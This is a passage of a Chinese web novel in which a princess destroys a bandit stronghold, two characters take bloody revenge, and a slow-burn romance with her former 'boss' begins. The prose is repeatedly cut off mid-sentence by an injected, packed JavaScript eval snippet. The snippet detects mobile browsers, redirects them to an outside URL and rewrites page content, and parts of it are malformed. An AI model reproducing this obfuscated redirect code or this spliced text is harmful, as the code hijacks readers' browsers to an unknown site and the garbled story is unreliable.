她拍了拍手,有两个人被押了上来,一人是军中的士兵,并没有引人注意是地方,另一个人是校尉,是上一次出声建议利用高任元进入清风寨的人。 “这两人应该就是内奸了吧,今日要不是你与她们里应外合,我还找不到她们呢?” “藏的可真好,是吧。”言昭离无视卫兰彭喷火的目光:“将二人带下去,严加看管。” 手里的筹码又多了一个呢,真好。 * 辰时 言昭离收到了江段交上来的名单,她随意翻开看了一眼,这份名单不止有名字,还有票据,上面详细的记录了交易的时间和地点,还有货物。 记录的那么详细,票据都有些年份,这份名单不会有假。 她合上,交给唐校尉:“知道下一步怎么做?” 唐校尉点头:“知道。” 言昭离扭头看向江段:“江段,要不要再做一个交易,用她们两个的性命,换整个清风寨。” 囚车上又多了一个人的身影,是卫兰彭。 江段心里骂的人又多了一个,她早就警告过卫兰彭,不要轻举妄动,不要轻举妄动,结果她还是没听。 “不同意。”江段拒绝的很干脆,两个人换一个寨子的安危,实在不划算。 “那两个人的性命换你一个人呢?” 卫兰彭高喊:“段姐,不要答应她。” 她还想接着喊,被一旁的高任元拽住:“不要喊这些,难道你不想活着吗?” 卫兰彭一脸不可置信:“二姐,你在说些什么。” “我知道自己在说些什么。” “那可是我们的段姐,我们不能太自私。” “我自私,我只是想活着而已,有什么错。”高任元冷笑一声,“我看自私的另有其人。” “不行。”不出所料,江段再一次拒绝,她歉意的看向两人,“对不起,二妹,三妹,我是清风寨的寨主,清风寨不能失去我。” “你们要是去了,我会给你们报仇。” “说的倒是冠冕堂皇。” “连演都不想演,好好看看,这就是你心中崇拜的段姐。” 卫兰彭心中闪过一丝失望,如果今日被绑的是段姐,她会同意交换的。 毕竟她这条命就是段姐救的。 但段姐也不欠她们什么,不换也在情理之中。 言昭离听到她的回答,丝毫不意外,反正今日的目的已经达成。 她微笑道:“既然不做交易,那这两人也没什么存在的价值。” “回去处置了吧。” * 军帐里,言昭离高坐在首位上,审判着底下跪着的两人。 “先处置哪个比较好呢?” 高任元哭喊道:“求大皇女饶命,我是被江段胁迫才当上匪寇的,我什么也没干过。” “你们不是想攻入清风寨吗?我知道有个小门,你们从那里进去,便可以不费吹灰之力的拿下清风寨。” 卫兰彭陌生的看着她:“二姐,你在说什么?你怎么可以背叛清风寨。” “人为财死鸟为食亡,我谋条生路,有何错。” 卫兰彭气的脸通红,她虽是跪着,但一身的骨气还在。 后背挺直,梗着脖子:“要杀要剐,悉听尊便。” “很好,那就从你先开始。” 卫兰彭当众被一剑抹了脖子,死前,眼睛死死的盯着高任元。 言昭离手托腮:“至于你?” 高任元眼含希翼。 “提供信息给我们,那就功过相抵吧,我可以不杀你。” 高任元激动的直磕头:“多谢大皇女不杀之恩,多谢大皇女……” 她被带了下去,在堂的人忍不住问:“大皇女为何不杀她,她虽提供了信息,但平日里没少欺压百姓,罪孽深重。” “实在没必要饶恕这样一个人。” “你再回忆回忆我刚才说的。” 问话的人反应很快:“大皇女说的是我不杀你。” “是啊,我不杀她,可有人却很想杀她,她的报应还在后头呢,咱们只需静静等待便可。” 这边的高任元说完具体方位,就被人晾在了一边,她着急的在帐中直打转,大皇女不杀她,可又让几个侍卫看住她,这是何意? 实在按捺不住了,她主动找门外的侍卫搭话:“侍卫大姐,大皇女有说什么时候能放我出去了吗?” “大皇女没说,但等会有人来见你。” “什么人?” “你先在里面等着,等会就知道了。” 她抱着满心的疑惑,坐在桌边等待。 不一会,帷幄被挑开,一人一瘸一拐的走了进来,他一身天蓝色的衣袍,面色平静,全身的伤已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567754|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经好了大概,但唯有脸上的伤,再也无法消除。 高任元一见他,‘噌’的一下站起身来,眼中满是惊讶:“温州,你怎么在这?” 她伸出手,想抚摸无名脸上的疤痕,无名一个侧身,避开了,他可没错过高任元眼底的厌恶。 高任元当时就是看上了他的容貌,现在她最喜欢的东西毁了,又怎么可能对他产生怜惜。 再加上他如今是大皇女这边的,高任元很会审时度势,知道要先讨好他。 “是不是大皇女叫你来的,她知道你我二人的关系,想成全你我。” 她深情款款:“从今天起,我也不再是清风寨二当家,我们都在大皇女身边做事,以后会永远在一起。” “可真是讽刺,”无名从衣袖里拔出匕首,“你和我有什么关系,要有,也是我想杀了你的关系。” “你怎么能否定我们的过去,我是真心喜欢你的。” 无名步步紧逼,她不断往后退着,在意识到自己使不上力气后,神情变得惊恐起来。 最后退无可退,跌倒在床上,无名握着匕首,下手果断,一刀刀刺向高任元。 鲜血喷涌,落在他布满疤痕的脸上,面容可怖,整个人不复从前翩翩贵公子的模样,更像是从地狱里爬上来的修罗。 “喜欢?像你这样的人,谈何喜欢。” “你灭我全家,又骗我他们未死,委身于你,我逃跑过很多次,每次抓回来的结果不是被关禁闭就是被暴打一顿,被送回来那次,你打折了我的腿,在最后一次逃跑的时候,我划破了自己的脸,为的就是不让你找到。” “对待我像玩物一样,召之即来挥之即去,你知不知道,那些个日日夜夜,我有多恶心,多想把你杀了,就像现在一样,一刀刀插进你的脖颈,心脏……” “让你感受当初和我一样的痛苦。” 高任元脖子上的血止不住流,无名下手时控制了力道,让高任元不至于很快的死去。 她眼神涣散,意识回到了最初,江温州委身于她的那个夜晚。 她轻佻的挑起他的下巴:“想让你的家人活命,你知道怎么做。” 江温州面上温顺,可饱含恨意的眸子,传达出一个讯息:他会杀了她。 第一次说出想杀了她的话,是他知道真相的时候。 他说:“我要杀了你,我一定会亲手杀了你。” 被打折腿的那个雨天,他没有求饶,也没有喊过一声痛,只是在重复一句话。 “我会杀了你,我会亲手杀了你……” 高任元从不在意他说的这句话,一个玩物,怎么可能有这么大的本事杀了她。 但现在,永远不可能发生的事情发生了,他真的杀了她。 看着她因为疼痛而呻吟,看她逐渐咽气,无名的情绪,由愤怒,激奋,转向平静。 他平静的擦拭着匕首上的血迹,平静的起身,平静的说:“我不叫江温州,我叫无名。” 23. 第 23 章 “人送回去了?”言昭离指的是无名。 “是,已经送回去了。” 手底下的继续报告情况:“无名进去后,一刀刀把高任元捅死了。” 言昭离颔首:“他的仇也算报了。” “通知下去,今晚攻打清风寨。” “是。” 所有人都在摩拳擦掌,准备大干一场。 天色渐晚,江小春带着几个人,来到高任元所讲的暗道,她们进去后,迅速的把看哨的杀了,后又打开了城门。 清风寨里的人都还在沉睡,她们自认为寨子里面外人攻不进来,且朝廷每次来不都是雷声大,雨点小,于是放心的呼呼大睡。 不少人在睡梦中就被抹了脖子。 还有不少人惊醒,负隅顽抗。 她们平常欺压百姓,强抢民男,此刻却因为死到临头而痛哭流涕。 “吱嘎”门被推开。 唐校尉等人持剑,小心翼翼的靠近床榻,想趁着江段熟睡后重伤她。 可剑却落了空,唐校尉一把掀开被褥,里面躺着的只是一个枕头。 江段……跑了。 唐校尉反应迅速的摸了摸桌上的茶杯,还有着余温,她当机立断:“肯定往后面那一片树林里跑了,追。” 她领着大部分人向江段逃跑的方向追去,还有一两个人迅速的去报信。 江小春负责的一小部分区域已经彻底解决,她回去复命。 言昭离对她说:“江段跑了,唐校尉已经带人去追,我怕她们人手不够,你也跟去。” “是。” 江小春急匆匆的赶过去,看到了被围在中间的江段。 江段自私自利,是一个以自我为中心的极端主义者,比起整座寨子的人,她更在乎自己的命,所以她选择今天晚上悄悄逃走。 而此刻护着她的几个人,是她培养的心腹,带走她们也只是为了更好的保护自己。 心腹对她忠心耿耿,为了她的逃离,一个个自愿献出生命,硬生生的在一众人中杀出一条血路。 江段也不会放弃任何逃出去的机会,她的两个铁锤用铁链连接起来,以自己为中心的全方位锤击想阻止她走的人。 她力气不低,阻拦的人基本上都被一锤击倒,严重的倒地不起,轻的站起身来,也会‘哇’的一声吐出一大口鲜血。 唐校尉重伤在地,带的人被消耗得差不多,不是跟唐校尉一样,就是还在跟江段的心腹纠缠。 两个士兵对视一眼,一个进攻江段的左边,一个进攻江段的右边,互相钳制住江段。 王麦持剑直击江段的正面。 在危机关头,人爆发的潜力是无限的。 江段鼓足劲,将钳制住她的两个士兵击飞,又迅速的锤向王麦。 王麦躲闪不及,被一锤击倒,可没多久,她就摇摇晃晃的站了起来,擦掉嘴角的鲜血,翻身上马,又继续追去。 她是唯一一个被击倒后又重新追上去的人,一边追,一边骂着什么。 江小春离得远,听不到王麦说的什么,可她了解王麦,王麦此刻一定抹着眼泪说: “江小春,你以后一定要好好报答我,老子为了你的仇,可牺牲太多了。” “我要是没了性命,以后逢年过节,一定要来坟上看我,千万不要忘记把我坟头上的草清理干净,不然我夜夜托梦给你。” 等江小春离得近了,才发现想的似乎是错的,王麦骂的不是她,是江段。 她骂江段草菅人命,欺压百姓,连畜生都不如,最后,她说,“我一定会拦下你,小春的仇不能不报。” 王麦没有远大的志向,她就像世间的普通人一样,只想过好平稳的生活。 江小春眼眶湿润,王麦平日里那么怕疼怕死的一个人,到底是怎么大着胆子,拖着一身的疼痛去追江段。 江段或许心烦了,想彻底解决,她举起铁锤,想向着刚追上来的王麦最后一击。 受过伤的王麦根本无力躲避这一击,这一击下去,她必没命。 江小春迅速抽出背后的箭,拉弓搭箭,一切熟练流利。 射出的那一刻,她想起了许多的事。 江小春的父母只是个普通的老百姓,虽然没有太大的财富,但日子过得有滋有味。 母亲出去捕鱼,做活养活家人,父亲则在家操持家务。 可这样美好的日子在江段当上匪寇后终结,她们每月需要上缴高昂的保护费。 交过保护费后,他们一家的生活便会变得格外拮据起来,有时候甚至连温饱都解决不了,但一个普通老百姓,是没有实力和这些凶杀成性的匪寇抗争的,一家人互相安慰,日子忍忍也就这样过去了。 真正绝望的是在开春前后,连绵的暴雨,使得海上波涛汹涌,这样的天气,是完全不能出海的。 江小春一家捕渔为生,不能出海,就没有经济来源,恰逢那几日匪寇来收取保护费。 他们家已经交完全部的积蓄,但离要交的保护费还差不少,没有办法,只能央 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567755|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求着匪寇饶过这一次,说下次一定补上。 匪寇一开始不依,后来瞧上了江父,欲对江父下手,江母暴怒,失手把那个匪寇杀了,两人被她的同伙绑了起来,带到江段面前,江小春并不在,她去山上找些野味,看能不能换些钱。 回来的时候,看见众人围在中间,江段高坐在马背上,神情倨傲,铁锤轻飘飘落下,像是在处理什么小事。 江父江母就这样没了性命,江小春被这一幕刺激到了,不顾一切的想冲上去,但被人拦下。 她们说:“孩子,你要是冲上去,也只有一个下场,忍,千万要忍下来,不能让你们家无后啊。” “你爹你娘在天之灵,肯定也不想你为此丧命。” “君子报仇,十年不晚。” 江小春死死咬住握拳的手背,雨水飘落,冲散了她嘴边流淌的鲜血,手上的痛完全不及心里。 她恨,恨这该死的鬼天气,恨这些匪寇,恨江段,但更恨的是自己,为什么要出去,出去了又为什么不能早些回来。 可惜世上没有如果,她也只能抱着父母冰冷的尸体,一次次痛哭。 是她无用,是她无能。 江段挥锤的动作与当时锤击江父江母的动作一模一样,甚至连神情都未变丝毫。 在即将落到王麦胸口的那一刻,江小春放出箭矢,这一动作,这一场景,她已经训练和幻想了上万上千遍。 不会有一丝一毫的失误。 凌冽的箭矢划破长空,准确无误的穿过江段的心脏,江段不可置信的低头看着胸口插着的箭,想张嘴说些什么,可一张嘴,就猛吐鲜血。 ‘砰’的一声,这个陪了她几年的铁锤落地,在地上砸了一个深深的坑,她也从马背上坠落,看着天上的蓝天白云,渐渐的咽了气。 在箭矢穿过江段的那一刹那,江小春的胸口也被人用到从后面穿过,江段剩存的一个心腹,用尽最后一丝力气为她们老大报仇。 江小春应声倒地,她能感觉到自己的气息在逐渐减弱,模糊间,她似乎看到了父母的身影。 是来接她的吗? 她伸出手,没过多久后就无力垂下。 意识陷入黑暗的时候,耳边传来王麦的哭喊:“江小春,你给我挺住,好不容易报完仇,你怎么能就这么走了。” “只是简简单单射了一箭怎么能够,你快给我爬起来,我们一起把江段千刀万剐。” “江小春,你听到没有,你不许睡。” “江小春!” 24. 第 24 章 剿匪,最重要的是剿,其次是事后的处理工作,言昭离因为已经在军中颁布了一套比较完备的体系,所以事后的工作也没太多的操心之处。 但名单上的官员得抓,她又重新忙碌了起来,剿匪回到军营后,一连好几日都未回府。 等到抓的差不多,已经过了半月,只剩下一些早就收到消息,逃窜的官员未逮捕。 午时,言昭离坐在案桌上看呈上来的报告,在剿匪前,她就说过,要对能力出众者进行嘉奖。 得到官职升任的总有一百五十人,其中有三人是巨大的升,这三人从前都是小兵,现升的是可掌管上百千人的官,王麦和另一人晋为校尉,江小春一箭射杀江段,是最大的功臣,晋为都尉。 言昭离确认无误,在落款处按上掌印,四四方方的小印记,写着‘大皇女’三字,这是可以代表自己身份的印章,几乎每一个皇女都有。 她讲这份嘉奖名单交给翠鸣:“将上面的嘉奖名单公布下去。” “是。”翠鸣拿过后,她嘴唇嗫嚅,似是想说些什么。 言昭离乜了她一眼:“想说就说。” “大皇女何时回府?” “府上可发生了什么事?” “无事。” “那祁小郎最近可有什么异样?” 翠鸣想了想,摇头:“似乎没有,只是每日在窗边看风景的时间长了些。” 言昭离若有所思的点头,古代么,确实没什么娱乐的,老板在窗边天天看风景,也是能理解的,看来还不知道她受伤的事。 她看了眼自己还没完全好的手臂,当时被打的时候特地避开了些力道,避免了被打断的结局,但受的伤还是不轻,放在现代,也算是个骨折。 内里的伤还没好,但外面已经看不出差别,嗯,能蒙混过关。 她扬声,眉眼间都透着一股喜悦:“翠鸣,收拾一下,回府。” * 言昭离走前,跟祁逾白老老实实的保证,一定会毫发无损的回来,可现在,她不仅没完完全全的回来,还差点断了一个胳膊。 想起走前祁逾白反复的唠叨,虽然‘唠叨’这个词并不适用在英明神武的老板身上,但当时言昭离只能想到用这个词来概括。 祁逾白让她想起了照顾她颇多的余奶奶,也是一样的爱絮叨,天冷了让她多穿衣,不要为了减肥而节食…… 余奶奶的心是好的,可有时言昭离也会因为没有听她的话,在外受伤而不好意思回去。 她现在不想回去面对祁逾白,也是一样的心理。 可爱你的人哪会计较这么多,他们只会更心疼你的遭遇。 言昭离像是一只欢快的小鸟飞回了巢穴:“老板,老板,我回来了。” “回来了?”祁逾白说话的声音情绪不明。 “是啊,我已经把那些匪寇全部清剿,那些包庇的官员也抓的差不多了。” “干的不错。” 她贫嘴:“也不看看我是谁带出来的。” 祁逾白问:“受伤了吗?” 言昭离眼神飘忽:“没有,我很厉害的。” ‘呵,’祁逾白接着道,“是很厉害,对着我也能脸不红心不跳的撒谎。” “我,我……” “言昭离,你是不是忘了我辅修过心理学。” 言昭离一下子瞪大了眼眸,祁逾白主修金融,辅修选的是心理学,虽没达到神化的地步,但通过一个人的细微表情来判断对方是否撒谎还是可以的,也就是说,老板一眼就看出她在撒谎,意识到这点,她的气势一下子恹了。 她手指比划出一点点距离:“受的伤也不是很重,就一点点。” “是吗?我怎么听说,大皇女与江段比试,以一只手为代价胜了江段。” “都是瞎传的,瞎传的,我的手好好的,不信,我给你看看。”她举起右手,想向祁逾白展示她的手没问题。 结果动作幅度不小心太大,牵扯到了韧带,疼的她小脸都皱到了一起,不停的倒吸凉气。 祁逾白跨步走到她面前,轻声喝道:“瞎动什么。” 他握着她的手腕,帮言昭离把胳膊放下,动作轻柔的像是对待什么珍宝一样。 接着,他轻叹一口气:“受了伤就好好养着,这次受伤我就不跟你计较了。” “但以后,都得保证不让自己受伤,不然等回去把你奖金全扣光。” 扣掉奖金,就像扼住言昭离的命脉一样,她绝不允许这样的事情发生,于是郑重保证:“放心,老板,我一定不会让自己再受伤。” 言昭离回来的时间已经过了午时,但她在军营未用饭,这下回来了开始传饭,祁逾白陪着她一起,他也还未用过。 饭桌上,言昭离的事情都由祁逾白一手代劳,包括吃饭。 言昭离用眼神控诉:她伤的只是左手,右手是能动的。 祁逾白:“一只手不方便。” 控诉无效,得,她只能老老实实听话。 但还是有一个好处的,可以光明正大的使唤老板干事。 “我要这个。”她指的是饭桌上最远的一道菜。 “我要吃虾。”祁逾白给她剥虾。 “我要吃……” 指挥老板的愉悦在看到猪蹄汤被端上来的那刻破碎,她尝过桌上的所有菜,就是没说要喝猪蹄汤。 无他,只因为谁家好人连喝了半个多月的猪蹄汤后还能喝下去。 祁逾白在心里估摸着她的饭量,在她还差四分之一就要饱的时候,给她舀了碗猪蹄汤,碗里的猪蹄肉看着鲜嫩肥美,汤面还撒上了葱花,香气四溢。 言昭离摇头拒绝:“我不想喝。” 祁逾白微笑道:“不,你想喝。” 他端着那一碗猪蹄汤靠近,笑意在眼底蔓延,不知怎的,言昭离有一种潘金莲给武大郎灌药的既视感。 配上那句:“大郎,该喝药了。”就更像了。 拒绝无效,她仰头喝下。 翠鸣在一旁看到,脸上的笑意就没断过,俗话说以形补形,这半个月的猪蹄汤,都是祁小郎亲手熬的,而且每日都特地叮嘱送饭的人亲自看大皇女喝下。 大皇女是来的路上知道原委,为了让祁小郎消气,故意装成不知情的罢了。 真好,看到大皇女和祁小郎如此好,她这心里就高兴。 * 吃饭的事祁逾白可以帮上忙,但沐浴这件事,他便是想插手都插手不了。 言昭离沐浴出来,身穿薄衣,湿发披露肩头,自从手受伤后,擦头发的事,一向都是翠鸣帮她,可现在,翠鸣不在,屋内只剩祁逾白,他拿着擦头巾,一幅要帮她擦头的样子。 言昭离一惊:“老板,你要帮我擦头?” “嗯。”祁逾白让言昭离坐下,一点点的替她擦干头发。 言昭离感受着头上轻柔的动作,怎么感觉她跟老板的身份转变了呢?现在她是老板,只需要享受祁下属的服务。 随着时间的流逝,言昭离开始控制不住的犯困,祁逾白的动作实在太轻,且她近日一直在忙碌着,身心疲惫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15567756|171468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言昭离的眼皮子一下又一下的睁开又闭上,最后干脆阖上,头一歪,身体没有支撑力,眼看马上就要倾倒在地上。 刚给言昭离擦完头的祁逾白眼疾手快的托住她的头,心里又怕又无奈,怕他要是没看住,言昭离倒了下去,受伤的左手又会再次受创,无奈她怎么坐着就睡了。 他想把人叫到床上去睡,可看着她精致的睡颜,又不忍心打扰。 他弯腰,两个手臂穿过言昭离的腰身和膝盖处,轻轻把人抱了起来,两人的身体间又克制着距离,他怕碰到言昭离受伤的左手。 待将人放到了床上,盖好被子,他又起身去拿抽屉里早已备好的膏药,掀开言昭离左手的衣袖。 入目可见的红肿和青紫,看到的那一瞬间,祁逾白的心像是被揪住了一样,眼底泛着别样的情绪,他几乎不敢去想言昭离是如何受的伤,当时又是如何的疼痛。 他竭力抑制住心底冒出的想法,他想确认言昭离全身上下,除了左手的手臂,其他地方是否还有伤口,但这样于理不合,且过于冒犯。 打开药膏,一股清香扑面而来,祁逾白垂眸,细致的为言昭离涂抹整条左手手臂。 等做完一切后,他才和衣躺下,一晚上几乎没怎么合眼。 言昭离睡觉极不老实,得知她受伤的时候,祁逾白拜托翠鸣晚上多看顾,防止她晚上翻身碰到左手,又或者是睡觉的时候压到左手。 祁逾白减轻不了她受伤时承受的那份痛苦,只能在这些小事上不让她承受第二次痛苦。 言昭离醒来时,只觉得这一觉睡得极为起伏,前半夜,睡的极为舒服,后半夜,全身像是被钳制住了一样,动弹不得,但她又不想睁眼,只能这样憋屈的睡下去。 她睁开眼,才知道是怎么回事,整个人都被祁逾白从背后抱住,两人之间的距离近到言昭离能清楚的感受到脖颈处传来的温热气息,是祁逾白伏在她的脖颈上带来的。 从未与异性有过亲密接触的她,浑身都僵硬了,她挣扎着要挣脱祁逾白的怀抱,可一旦她有了动静,祁逾白就会抱得更紧,甚至还会轻拍她的后背,安抚她:“乖,不要乱动。” “好好睡觉。” 不是,言昭离在心里发问,这算怎么回事? 首先,她是老板的下属,其次,就算来到这个世界,也只能算是兮兮相惜的好友,无论哪种关系,都不符合现在所做的事。 她挣扎的动作更大了,一心只想逃离祁逾白的怀抱,结果祁逾白有了要醒的预兆,她又像个鹌鹑一样,缩在那不动了。 祁逾白睁开眼,见言昭离还是一样的睡姿,心里头松了下去,前半夜,言昭离睡的还算老实,可后半夜,她非得翻身,翻的还是左边的胳膊,祁逾白百般阻止,都差点没阻止上,没有办法,他只好抱住言昭离。 日光透过窗户,在地上投射出一片阴影,祁逾白瞧着天已经亮了,怕言昭离起身看见,察觉到什么,松开了她,又将她的被子往上掖了掖,动作娴熟,仿佛做过了成千上万遍。 接着,他轻声说道:“再多睡会吧。” 等到祁逾白平缓的呼吸声传来,言昭离再次睁开了眼睛,她侧头看向祁逾白,光洁白皙的面庞,略显锋利的下颚线,优越的五官,明明跟之前一模一样,可言昭离就是感觉哪不一样了。 老板……好像在她离开的这个阶段里瘦了些。 再加上他的眼底下有淡淡的乌青,给睡颜更添几分脆弱。 言昭离的心中思绪万千,老板做的这一切,真的只是出于一个对下属的关怀吗? 25. 第 25 章 “小春,快来看看娘今日捉到了什么?” 彼时的江小春尚还稚嫩,脸上满是欢脱的神情,她接过江母的筐,探头“哇”了一声,里面是条扑腾的大鱼。 那鱼很大,一个筐都快装不了,江小春从未见过这么大的鱼。 “今日咱们吃这条鱼。” 江小春摇头:“娘,我不想吃鱼,咱们还是把这条鱼卖了,一定能得很多钱。” 江小春喜欢吃鱼,可她听江母要吃这条鱼,第一反应不是喜悦,而是强烈的反对,她内心不知道怎的,只有股强烈的念头,一定要攒好多钱。 “娘不卖,今日就特地捕给你吃的。” 恰巧这时江父从外面回来,他面容清隽,身形挺拔,怀里揣着一个包袱。 “妻主怎么今日回来的那么早?” “捕了条大鱼,就早些收船了。” 江父将包袱递给江小春,又从她手中接过大鱼:“小春,快打开看看喜不喜欢。” 江小春打开包袱,是一件天青色的衣裙,这是她最喜欢的颜色,只是,这衣裙一看就价格不菲,她急忙将手从这柔软滑顺的衣裙上放下来,像是碰到了什么烫山芋头一样:“爹,这衣服我不要。” 他们家清贫,很少会有新衣服穿,尤其是江父江母,身上的补丁随处可见。 “不贵,小春。”说完,像是怕江小春拒绝,江父急忙拎着鱼上厨房。 江母提醒:“别忘了做成小春喜欢的红烧口味。” 江父头也不回:“知道。” 明明只是普通的一天,但小春就是感觉处处都不正常,母亲捉了条大鱼,提前回来,父亲特地去镇上给她买了新衣,两个人像是许久未见她,拼命将好的东西补偿给她。 可她……明明从未离开。 今日的午饭颇为丰富,江父是拿出他的毕生厨艺,做了整整十八道菜,小小的饭桌都快摆不下。 “小春,多吃些。” “小春,快尝尝,看爹的手艺下降没有。” “来,这是你最喜欢吃的茄子。” 江小春端着碗,默默承受江父江母的爱,直到碗里快堆积不下了,她才开口:“好了,爹娘,我的碗里已经够多了。” 她给江父江母分别夹了他们喜欢吃的菜:“你们也吃。” 江父江母没动筷,只是目光眷恋的看向她,江小春吞下一口饭,问道:“爹娘,你们怎么不吃啊?” “小春,回去吧。”江父开口。 “回去?回哪去,这不就是家吗?” 江小春有些莫名,但潜意识认为自己不想听江父江母接下来所讲的话,她猛扒几口饭:“这米饭太噎人,我去喝口水。” “小春,你知道我讲的什么意思?” 江小春的步伐止住:“我不想知道。” “你不应该在这沉浸太久,小春,这里不是你该待的地方。” “可我能去哪?我能去哪!” 江小春深吸一口气,话语间隐隐有抽噎声:“我不想回到没有你们的地方。” “小春,”江母握起她的手,“我们都知道。” “我们知道你每日每夜都在刻苦训练,知道无论是刮风还是下雨,你一天都不曾停歇,知道你一天都没忘记仇恨,甚至杀了江段。” 江母伸手,刮掉她脸上的泪珠:“娘很高兴,娘的小春已经成长为一个很厉害的大人了。” “所以,小春,不要再自责,你要学会向前看,往前走,爹娘永远都会在身后支持你。” 江母从身后抱住她们:“小春,你永远都是我们的骄傲。” “回去吧,回到属于你的世界。” 天光大亮,江小春的怀抱落空,她掩面哭泣:“我还没吃那条鱼。” 她再也吃不到那条鱼,那条吃母亲亲手捕的鱼,父亲亲手做的鱼。 江小春当时被人从捅了一刀,但因为她的心脏比旁人要歪上一点,所以那一刀并未致命,再加上救助及时,她没有丧命,只是陷入了沉睡。 江小春里挤满了一众人,有来送赏赐的金银珠宝,都尉的官服…… “王校尉,江都尉什么时候能醒啊?” “不知道,再等一段时间,总会醒的。” 有人扫兴道:“江校尉不会永远都醒——”不了。 她话还未讲完,就被王麦踹了一脚:“你这说的什么丧气话,真想拿针把你嘴巴缝了。” 王麦的性格一向活泼,也能与身边人打成一片,鲜少有这么板着脸的时候。 说这话的人也意识到自己说错话了,她轻拍自己的嘴:“呸呸呸。” “都怪我平常说话没个把门的。” 房间内,有人惊呼出声:“快看,江校尉的眼皮子动了。” “江校尉这是要醒了。” “快去叫医官。” 屋里的人乌泱泱的出去一大片,王麦跨步走到床前,没见江小春的眼皮子动,倒是见她嘴唇嗫嚅:“我……” 王麦听不清她说的什么:“你说什么?” “吃……鱼。” “吃什么,鱼?吃鱼?” 接着,江小春开始哭泣。 王麦:“小春,不就是没吃上鱼吗?你赶紧把眼睛睁开,到时候我请你吃上百条鱼,保管让你吃腻。” “别哭了,你快点睁眼啊!” 江小春身处一片黑暗之中,听到这熟悉的话语,破涕为笑。 “不亏是当上校尉的人,就是大方。”她一醒来,就打趣王麦。 王麦欣喜道:“你醒了?” “是啊,不知道你允诺我的鱼还作数吗?” 王麦很干脆:“作数作数,都作数。” 两人又打趣了几句,医官到了,王麦连忙拉着她给江小春看病。 医官给江校小春搭了脉,又简单的问了她个问题,最后叮嘱她好生休息。 医官走后,江小春看着屋里的奖赏,问道:“这是?” “大皇女赏赐的,除了这些,你杀了江段,晋为了都尉。” “真好,小春,你以后就是能掌管千人万人的都尉了。” “我真为你高兴。”这一路,王麦也是她成长路上的见证者。 江小春笑道:“我也为你高兴。” “对了,赏赐怎么那么快就下来了?等会我是不是要去向大皇女谢恩。”拿到赏赐是要拜见赏赐者的。 “小春,你昏迷了一个月,大皇女今日已经出发回京城了。” 江小春抿唇:“大皇女何时走的?” “今日末时。” “现在几点?” “申时不到。” 江小春挣扎起身:"才走半炷香不到,我现在去追,是能看到大皇女的。" 王麦急道:“你才刚醒——”还是不要去追。 她剩下的话咽在喉咙里,大皇女对小春有恩,小春是无论如何也要送的,还不如让她去送,大皇女这一走,不知道何年才能见上面,有可能这一辈子都再也见不到了。 “好,我跟着你一起去。” 两人纵马出了军营,直奔一处地方,路上,王麦时刻观察江小春的神情,就怕她有什么不适。 果然,江小春才骑行到一半,尽管面色未变,但逐渐泛白的嘴唇,时不时捂胸口的动作,都在暴露她在忍耐着什么。 王麦喊停:“不行,你不能再骑下去了。” 江小春咬牙:“我还能骑。” 王麦将方向调转:“跟着我,我们换一个方向追。” 她阻止不了江小春的行为,只能想法设法减少她骑行的距离。 王麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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* 这边的言昭离,嘴角上的笑容就没下去过,她一时忘了避祁逾白的事,开始跟他分享:“老板,我发现,做好事就是会让人开心。” “我帮这里的百姓除了江段这个大患,江小春和无名也都报了仇,她们对我感激,甚至还送了我东西。” 言昭离来时就只有四五个鞍车,可回去的路上,却有十多个鞍车,全都是当地百姓送的谢礼。 她们的热情招待不住,言昭离只好收下,可更多的,她也产生了许多的忧愁:“好像在这个世界生活的久了,越能感觉到这个世界的真实,人是鲜活的,她们的情感也是丰富的,完全不能当做一个书中的世界对待。” “你会犹豫吗?”祁逾白问。 “不会,”言昭离回答的很迅速,就算这个世界有再多让人难以割舍的东西,她也不会忘了自己是哪个世界的。 “所以,在这个世界,无论你想帮助什么人,或者是想做什么事,只要无愧于心就好。” “老板,你真好。” 祁逾白的眼眸望向她,炙热且热烈,言昭离硬巴巴的补充道:“这么支持下属的老板可不多见。” “所以,还躲我吗?” 言昭离自从察觉到祁逾白暗藏的情绪,下意识的想避开。 她从未处理过感情上的事情,唯一有一点点苗头的还是相亲,但被突如其来的工作掐断,她不知道如何处理祁逾白对她的感情,更何况这人还是她的老板。 俗话说,办公室恋情不可有,她老实说,察觉到祁逾白的情愫时,第一念头是她要是拒绝了老板,会不会被开除。 要是跟老板谈了,最后以分手而告终,那两个人在公司抬头不见低头见的,不尴尬吗?她不会被开除吗? 她只能讪笑:“没有避开,只是老板,你有点太夸张了。” 